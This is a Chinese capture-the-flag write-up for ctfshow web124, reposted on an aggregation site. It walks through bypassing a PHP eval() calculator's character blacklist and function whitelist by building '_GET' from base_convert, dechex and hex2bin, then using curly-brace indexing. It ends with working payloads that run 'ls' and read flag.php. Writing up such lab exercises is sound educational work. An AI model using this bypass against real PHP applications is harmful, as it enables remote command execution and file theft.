[ctfshow web入門] web124

信息收集

error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];// 長度不允許超過80個字符if (strlen($content) >= 80) {die("太長了不會算");}// 設置字符黑名單,以下字符不允許出現在content中$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("請不要輸入奇奇怪怪的字符");}}// 設置白名單,只允許以下單詞出現在content中//常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];// 這里匹配的是變量名,這和平時編程時變量命名規則類似,第一個[],以大小寫字母或者\x7f-\xff開頭,第二個[],存在0-n個規則內的字符,也就是說a?bc會被匹配上a和bcpreg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  // 匹配正則的字符會在這里進行白名單過濾,也就是說不是變量單詞類的東西就不會在這里被過濾了foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("請不要輸入奇奇怪怪的函數");}}//幫你算出答案eval('echo '.$content.';');
}

白名單中有base_convert decbin hexdec,也許可以加以利用

解題

使用了之前寫的腳本,構造與或非,都失敗了,主要是限制了0x7f-0xff字符的使用

base_convert(number, frombase, tobase)
?number?:要轉換的數字。
?frombase?:數字原來的進制。
?tobase?:要轉換到的進制。
return: 轉化后的數值decbin(dec_number)
dec_number:需要轉化成2進制的10進制數
return: 轉化后的數值dechex(dec_number)
dec_number:需要轉化成16進制的10進制數
return: 轉化后的數值hex2bin(hex_number)
dec_number:需要轉化成ASCII碼的16進制數
return: 轉化后的字符串

使用base_convert構造,但是內容不能太長
我們嘗試構造一個$_GET[a],這樣就能繞過它的檢測了,可是_GETa都不在白名單里,過不了白名單驗證

我試了一下decbin,轉化后是二進制,不是我們想要的字符串,所以不滿足條件
得使用hex2bin,這樣能轉化出字符串

_GET構造

<?php
echo base_convert("hex2bin",36,10).'\n'; 	//37907361743
echo base_convert(37907361743,10,36).'\n';	//hex2binecho bin2hex("_GET").'\n';					//5f474554
echo hexdec(bin2hex("_GET")).'\n';			//1598506324
echo decbin(1598506324).'\n';				//1011111010001110100010101010100
echo hex2bin("5f474554").'\n';				//_GET
echo hex2bin(dechex(1598506324)).'\n';		//_GET
?>

使用base_convert的36進制轉10進制,是因為36進制包含0-9a-z
所以最后

base_convert(37907361743,10,36)(dechex(1598506324))
? hex2bin(dechex(1598506324))
? _GET

這樣構造的函數為什么能夠執行,因為,PHP 支持可變函數的概念。這意味著如果一個變量名后有圓括號,PHP 將尋找與變量的值同名的函數,并且嘗試執行它。可變函數可以用來實現包括回調函數,函數表在內的一些用途。
詳細可以看:php: 可變函數這篇文章

至此,我們僅拿到了_GET的合法構造

利用_GET

$$a相當于 $($a) $a被解析成了字符串并與前面的 重新組成了變量,所以 ‘ 重新組成了變量,所以` 重新組成了變量,所以$a ? $apple`

<?php
$a = "apple";     // 普通變量
$$a = "banana";  // 等價于 $apple = "banana"
echo $a; //apple
echo $apple; //banana
echo $$a; //banana
?>

由于我們不能使用白名單之外的單詞,所以我們隨意選一個做變量名,但要盡可能短,畢竟限制了只能輸入80個字符

例如:

$pi=base_convert(37907361743,10,36)(dechex(1598506324))
? $pi = "_GET"
? $$pi = $_GET 

繞過中括號

僅 php_version < php7.4可實現
題目的版本在當前時間段版本是7.3.11

$data = ['name' => 'apple'];
echo $data['name'];
echo $data{name};

所以可以通過$_GET{key}繞過中括號

構造payload

$_GET{cmd}  
這里cmd不在白名單內所以不能使用,我們找一個白名單里短一點的單詞,最好不是關鍵字,關鍵字可能會引發不必要的麻煩
? $_GET{sin}
把之前的$_GET翻譯過來
? $pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}&sin=system('ls');
這還不夠,因為sin = system('ls'),但是單引號被過濾了,所以我們折中一下
? $pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos})&sin=system&cos=ls

最終答案:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos})&sin=system&cos=ls
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos})&sin=system&cos=tac flag.php

在這里插入圖片描述


web122 ?? 目錄 ?? web78

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/84946.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/84946.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/84946.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Vue 技術文檔

一、引言 Vue 是一款用于構建用戶界面的漸進式 JavaScript 框架&#xff0c;具有易上手、高性能、靈活等特點&#xff0c;能夠幫助開發者快速開發出響應式的單頁面應用。本技術文檔旨在全面介紹 Vue 的相關技術知識&#xff0c;為開發人員提供參考和指導。 二、環境搭建 2.1…

Nodejs+http-server 使用 http-server 快速搭建本地圖片訪問服務

在開發過程中&#xff0c;我們經常需要臨時查看或分享本地的圖片資源&#xff0c;比如設計稿、截圖、素材等。雖然可以通過壓縮發送&#xff0c;但效率不高。本文將教你使用 Node.js 的一個輕量級工具 —— http-server&#xff0c;快速搭建一個本地 HTTP 圖片預覽服務&#xf…

通義智文開源QwenLong-L1: 邁向長上下文大推理模型的強化學習

&#x1f389; 動態 2025年5月26日: &#x1f525; 我們正式發布&#x1f917;QwenLong-L1-32B——首個采用強化學習訓練、專攻長文本推理的LRM模型。在七項長文本文檔問答基準測試中&#xff0c;QwenLong-L1-32B性能超越OpenAI-o3-mini和Qwen3-235B-A22B等旗艦LRM&#xff0c…

學習如何設計大規模系統,為系統設計面試做準備!

前言 在當今快速發展的技術時代&#xff0c;系統設計能力已成為衡量一名軟件工程師專業素養的重要標尺。隨著云計算、大數據、人工智能等領域的興起&#xff0c;構建高性能、可擴展且穩定的系統已成為企業成功的關鍵。然而&#xff0c;對于許多工程師而言&#xff0c;如何有效…

Python生成ppt(python-pptx)N問N答(如何繪制一個沒有背景的矩形框;如何繪制一個沒有背景的矩形框)

文章目錄 [toc]1. **如何安裝python-pptx庫&#xff1f;**2. **如何創建一個空白PPT文件&#xff1f;**3. **如何添加幻燈片并設置布局&#xff1f;**4. **如何添加文本內容&#xff1f;**5. **如何插入圖片&#xff1f;**6. **如何設置動畫和轉場效果&#xff1f;**9. **如何繪…

命令模式,觀察者模式,狀態模式,享元模式

什么是命令模式&#xff1f; 核心思想是將原本直接調用的方法封裝為對象&#xff08;如AttackCommand&#xff09;&#xff0c;對象包含??執行邏輯??和??上下文信息??&#xff08;如目標、參數&#xff09;。比如&#xff0c;玩家的按鍵操作被封裝成一個命令對象&#…

Window Server 2019--07 PKI、SSL網站與郵件安全

了解PKI、SSL技術的核心原理掌握PKI架構服務器配置掌握證書管理與應用 公鑰基礎設施&#xff08;Public Key Infrastructure&#xff0c;PKI&#xff09;是一個完整的頒發、吊銷、管理數字證書的系統&#xff0c;是支持認證、加密、完整性和可追究性服務的基礎設施。PKI通過第…

從C++編程入手設計模式2——工廠模式

從C編程入手設計模式 工廠模式 ? 我們馬上就要迎來我們的第二個創建型設計模式&#xff1a;工廠方法模式&#xff08;Factory Method Pattern&#xff09;。換而言之&#xff0c;我們希望使用一個這樣的接口&#xff0c;使用其他手段而不是直接創建的方式&#xff08;說的有…

MySQL、PostgreSQL、Oracle 區別詳解

MySQL、PostgreSQL、Oracle 區別詳解 一、基礎架構對比 1.1 數據庫類型 MySQL:關系型數據庫(支持NoSQL插件如MySQL Document Store)PostgreSQL:對象-關系型數據庫(支持JSON等半結構化數據)Oracle:多模型數據庫(關系型+文檔+圖+空間等)關鍵結論:PostgreSQL在數據類型…

window11系統 使用GO語言建立TDengine 連接

目錄 1、安裝GCC、TDengine-client 1、github下載mingw64 軟件包 2、解壓指定目錄、配置環境變量 3、檢驗gcc是否安裝成功 4、安裝TDengine-client 2、配置go環境變量 3、配置Goland 系統變量、重啟Goland&#xff08;該軟件自己也有系統變量&#xff0c;有時候會和win…

VR 賦能病毒分離鑒定:開啟微觀探索新視界

在大眾認知里&#xff0c;VR 技術往往與沉浸式游戲體驗、虛擬社交緊密相連&#xff0c;讓人仿佛置身于奇幻的虛擬世界中&#xff0c;感受著科技帶來的奇妙娛樂享受。而病毒分離鑒定&#xff0c;聽起來則是一個充滿專業性與嚴肅性的科學領域&#xff0c;它關乎病毒的研究、疾病的…

Azure Devops pipeline 技巧和最佳實踐

1. 如何顯示release pipeline ? 解決方法: 登錄devops, 找到organization - pipeline - setting下的Disable creation of classic release pipelines,禁用該選項。 然后在project - pipeline - setting,禁用Disable creation of classic release pipelines 現在可以看到r…

GPU的通信技術

GPU 之間直接通信主要采用了以下幾種技術1&#xff1a; GPUDirect P2P&#xff1a;NVIDIA 開發的技術&#xff0c;用于單機上的 GPU 間高速通信。在沒有該技術時&#xff0c;GPU 間數據交換需先通過 CPU 和 PCIe 總線復制到主機固定的共享內存&#xff0c;再復制到目標 GPU&…

重新測試deepseek Jakarta EE 10編程能力

聽說deepseek做了一個小更新&#xff0c;我重新測試了一下Jakarta EE 10編程能力&#xff1b;有點進步&#xff0c;遺漏的功能比以前少了。 采用Jakarta EE 10 編寫員工信息表維護表&#xff0c;包括員工查詢與搜索、員工列表、新增員工、刪除員工&#xff0c;修改員工&#xf…

?Windows 11 安裝 Miniconda 與 Jupyter 全流程指南?

?一、Miniconda 安裝與配置? 1. 下載安裝程序 ?訪問官網?&#xff1a;打開 Miniconda 官網&#xff0c;下載 ?Python 3.x 版本的 Windows 64 位安裝包?。?安裝路徑選擇?&#xff1a; 推薦路徑&#xff1a;D:\Miniconda3&#xff08;避免使用中文路徑和空格&#xff0…

RuoYi前后端分離框架集成手機短信驗證碼(一)之后端篇

一、背景 本項目基于RuoYi 3.8.9前后端分離框架構建,采用Spring Security實現系統權限管理。作為企業級應用架構的子模塊,系統需要與頂層項目實現用戶數據無縫對接(以手機號作為統一用戶標識),同時承擔用戶信息采集的重要職能。為此,我們在保留原有賬號密碼登錄方式的基…

Java ThreadLocal 應用指南:從用戶會話到數據庫連接的線程安全實踐

ThreadLocal 提供了一種線程局部變量&#xff08;thread-local variables&#xff09;的機制&#xff0c;這意味著每個訪問該變量的線程都會擁有其自己獨立的、初始化的變量副本。這確保了線程之間不會共享數據&#xff0c;也避免了因共享數據而可能產生的競爭條件和同步問題&a…

GitCode鏡像門法律分析:PL協議在中國的司法實踐

本文以2022年引發廣泛爭議的GitCode開源代碼鏡像事件為研究對象&#xff0c;系統分析公共許可證&#xff08;Public License&#xff0c;PL&#xff09;在中國法律體系下的適用性挑戰。通過研究中國法院近五年涉及GPL、Apache、MIT等主流協議的21個司法案例&#xff0c;揭示開源…

Rider崩潰問題終極解決指南

JetBrains Rider 2025.1.2 頻繁崩潰問題解決指南 問題描述&#xff1a; 編輯器頻繁自動崩潰&#xff0c;任務管理器顯示大量 Git for Windows 進程被啟動。 原因分析&#xff1a; 這是 Rider 的自動版本控制功能導致的。當檢測到代碼變更時&#xff0c;編輯器會不斷嘗試啟動 …

4 串電池保護芯片創芯微CM1341-DAT使用介紹

特性 專用于 4 串鋰/鐵/鈉電池的保護芯片&#xff0c;內置有高精度電壓檢測電路和電流檢測電路。通過檢測各節電池的電壓、充放電電流及溫度等信息&#xff0c;實現電池過充電、過放電、均衡、斷線、低壓禁充、放電過電流、短路、充電過電流和過溫保護等功能&#xff0c;放電過…